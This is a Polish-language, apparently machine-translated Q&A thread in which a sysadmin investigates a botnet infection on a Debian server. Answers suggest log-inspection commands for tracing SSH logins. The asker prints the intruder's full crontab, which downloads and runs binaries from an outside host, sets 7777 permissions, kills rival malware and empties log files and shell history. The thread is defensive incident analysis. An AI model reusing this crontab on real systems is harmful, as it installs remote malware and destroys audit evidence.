Historia adresów IP, które uzyskały dostęp do serwera przez ssh

Zwróciłem uwagę, że mój serwer został zhakowany i zainfekowany znanym chińskim botnetem.

Była to prototypowa / testująca maszyna wirtualna z własnym statycznym adresem IP (adres w USA), więc nie spowodowała żadnych szkód (zajęło mi to trochę czasu, aby ją rozgryźć).

Teraz chciałbym wiedzieć, jakie IP / s zostały użyte do włamania, aby wiedzieć, czy atak pochodzi z Chin.

Czy istnieje sposób, aby wyświetlić historię odebranych połączeń na ssh na serwerze?

Edycja: System to Linux Debian 7

Spójrz na wynik lastpolecenia i wszystko, co ma adres IP lub nazwę hosta zamiast pustego miejsca, pojawiło się w sieci. Jeśli sshdjest to jedyny sposób na zrobienie tego w tym systemie, to proszę bardzo.

Alternatywnie (jeśli jest to Linux), możesz sprawdzić /var/log/secure(na dystrybucjach opartych na RH) lub /var/log/auth.log(na dystrybucjach opartych na Debianie), gdzie sshdzwykle śledzi wykonane połączenia, nawet jeśli nie spowodują pomyślnego logowania (które trafia utmp/ wtmp, które to, co lastbędzie czytać). Przykład:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris sshd(które niekoniecznie muszą być OpenSSH sshd) zaloguje te informacje do/var/adm/messages

EDYTOWAĆ:

@derobert stanowi doskonały punkt. Ważne jest, aby pamiętać, że w każdym systemie, jeśli Twoje konto administratora jest zagrożone, wszystkie zakłady są wyłączone, ponieważ atakujący może zmodyfikować pliki dziennika takie jak /var/log/wtmplub /var/adm/messages. Można to złagodzić, przenosząc logi poza serwer do bezpiecznej lokalizacji.

Na przykład w jednym ze sklepów, w których kiedyś pracowałem, mieliśmy maszynę „Audit Vault”, która była zabezpieczona, aby odbierać tylko pliki dziennika kontroli z różnych serwerów w centrum danych. W przyszłości zaleciłbym podobną konfigurację (ponieważ „Mam maszynę testową” brzmi, jakbyś działał w dużym sklepie)

Czy istnieje sposób, aby wyświetlić historię odebranych połączeń na ssh na serwerze?

To powinno dać ci listę:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

Następnie można skorzystać geoiplookupz geoip-binpakietu, aby przejść od hosta lub adres IP do kraju.

Cóż, zgodnie z oczekiwaniami i jak powiedział @Jel Davis, wszystkie dzienniki zostały wyczyszczone, ale był jeden plik, o którym wspomniał @Ramesh, który ma kilka prób uzyskania dostępu do użytkownika root, ale kilka razy nie wprowadził poprawnego hasła, a następnie rozłącz zbyt wiele ponownych prób.

Uruchomiłem traceroute na trzech adresach, a dwa pochodzą z Chin, a drugi z Pakistanu; są to adresy IP:

221.120.224.179
116.10.191.218
61.174.51.221

Więcej informacji o botnecie, który został wstrzyknięty do serwera po przejęciu:

Hakerzy edytują crontab, aby wykonać 7 plików wykonywalnych, które co x ilość czasu zużyją cały procesor, zwiększą wydajność sieci serwerów, a następnie po prostu umrą. Dodają również plik Readme do crontab 100 razy, aby ukryć dodane linie, więc kiedy to zrobisz crontab -l, zostaniesz spamowany przez plik Readme z ukrytymi liniami. Aby to obejść, użyłem crontab -l | grep -v '^#'i oto wynik tego polecenia:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Jak widać, wszystkie pliki dziennika zostały wyczyszczone, dlatego nie udało mi się pobrać wielu informacji.

Spowodowało to wyłączenie całego serwera (wszystkich maszyn wirtualnych), powodując przekroczenie limitu czasu w witrynach i na serwerze proxy. Oto wykres (skoki oznaczają, że botnet aktywnie wykonuje DDoS i zauważa, że ​​sieć się wyłączyła):

W rezultacie dodam cały zakres chińskich adresów IP do zapory sieciowej, aby zablokować wszystkie połączenia (nie mam żadnych chińskich użytkowników, więc mnie to nie obchodzi), nie zezwalam także na zdalne logowanie do roota i używam długiego skomplikowanego Hasła. Najprawdopodobniej zmienię również port ssh i użyję również prywatnych kluczy ssh.

Z tej odpowiedzi widzę poniższe informacje.

Mówiąc o serwerach SSH, dam ci rozwiązania z linii poleceń.

Śledź logowania i wylogowania użytkowników . To proste, plik /var/log/auth.logpowinien zawierać te informacje.

Śledź aktywność tych użytkowników : jeśli są nieco niewinni, możesz sprawdzić plik .bash_historyw swoim katalogu domowym. Zobaczysz listę wykonanych poleceń. Problem polega oczywiście na tym, że mogą usunąć lub edytować ten plik.

Zapobiegaj usuwaniu dzienników przez użytkowników: użytkownicy nie powinni mieć możliwości dotykania auth.log. Aby powstrzymać ich od zabawy bash_history, musisz wykonać kilka sztuczek.

Co się stanie, jeśli użytkownikowi uda się uzyskać dostęp do konta root? : Masz przerąbane. Jeśli nie popełni błędu, będzie w stanie ukryć wszystkie swoje kroki.

Ponadto z tej odpowiedzi możemy zobaczyć adres IP klienta korzystającego ze SSH_CLIENTzmiennej.

Również z tej odpowiedzi widzę, że historia ssh może być przechowywana w tych plikach.

Obok /var/log/lastlogznajdują się 3 pliki /var/runi /var/log: utmp, wtmpi btmp, które posiadają informacje o aktualnych logowań (i dodatkowych informacji), historycznych i nieudanych logowań. Zobacz wiki na szczegółowym opisem. Nie można edytować plików za pomocą zwykłych edytorów, ale można je usunąć.

Najprostszym poleceniem zalogowania 10 ostatnich użytkowników na maszynie jest last|head.

Aby uzyskać wszystkich użytkowników, wystarczy użyć lastpolecenia

Ta maszyna została przejęta. Oznacza to, że jakimkolwiek danym, historycznym lub bieżącym, nie można już ufać.

Krótko mówiąc, odpowiedź brzmi „nie”. Nie możesz być pewien, że odnalazłeś adres źródłowy z dowolnego pliku dziennika zapisanego na tym komputerze.

Wyczyść i zainstaluj ponownie. I łatka.

Aby zobaczyć tylko udane próby logowania za pomocą hasła:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

w przypadku Debiana wyszukiwanie testowe jest nieco inne

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'